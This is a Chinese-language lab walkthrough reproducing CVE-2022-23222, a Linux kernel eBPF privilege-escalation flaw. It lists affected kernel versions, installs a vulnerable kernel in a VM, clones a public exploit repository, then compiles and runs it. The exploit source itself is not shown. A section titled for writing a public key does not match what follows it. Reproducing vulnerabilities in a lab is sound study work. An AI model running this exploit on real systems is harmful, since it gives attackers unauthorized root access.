影响版本:
- Linux kernel 5.8 – 5.16
不受影响版本:
- Linux kernel 5.10.92, 5.15.15, 5.16.1
使用条件:
- 目标Linux内核版本在影响范围内。
cat /proc/sys/kernel/unprivileged_bpf_disabled
返回值必须为0。
02. 环境准备
在进行操作之前,请务必创建虚拟机快照以备不测。
由于我使用的Linux内核不在受影响的版本范围内,因此我需要切换到一个受影响的内核版本作为实验环境。
查询内核版本:
<code>uname -a</code>
修改内核版本:
<code>sudo apt install linux-image-5.13.0-21-generic</code>
安装完成后,请重新启动虚拟机。在重启过程中,按住ESC键选择内核版本。
03. 漏洞复现
3.1 写入公钥
首先,下载漏洞利用程序并传输到目标服务器上。你可以从以下链接获取漏洞利用程序:CVE-2022-23222,或者使用以下git命令:
<code>git clone https://gitclone.com/github.com/tr3ee/CVE-2022-23222.git</code>
进入目录并编译,生成一个名为exploit
的可执行文件。
运行漏洞利用程序:
<code>./exploit</code>
如果没有成功提权,请检查/proc/sys/kernel/unprivileged_bpf_disabled
的值:
<code>cat /proc/sys/kernel/unprivileged_bpf_disabled</code>
- 返回0表示允许非特权用户调用BPF。
- 返回1表示禁止非特权用户调用BPF且该值不可再修改。
- 返回2表示禁止非特权用户调用BPF,但可以再次修改为0或1。
如果你当前用户无法将该返回值修改为0,则基本无法利用此漏洞进行提权。
修改unprivileged_bpf_disabled
的值:
<code>echo 0 > /proc/sys/kernel/unprivileged_bpf_disabled</code>
然后切换至root用户并尝试再次提权。如果出现警告,请修改exploit.c
中的相应if语句并重新编译。
参考链接:
https://github.com/tr3ee/CVE-2022-23222
https://www.anquanke.com/post/id/275966
© 版权声明
THE END
暂无评论内容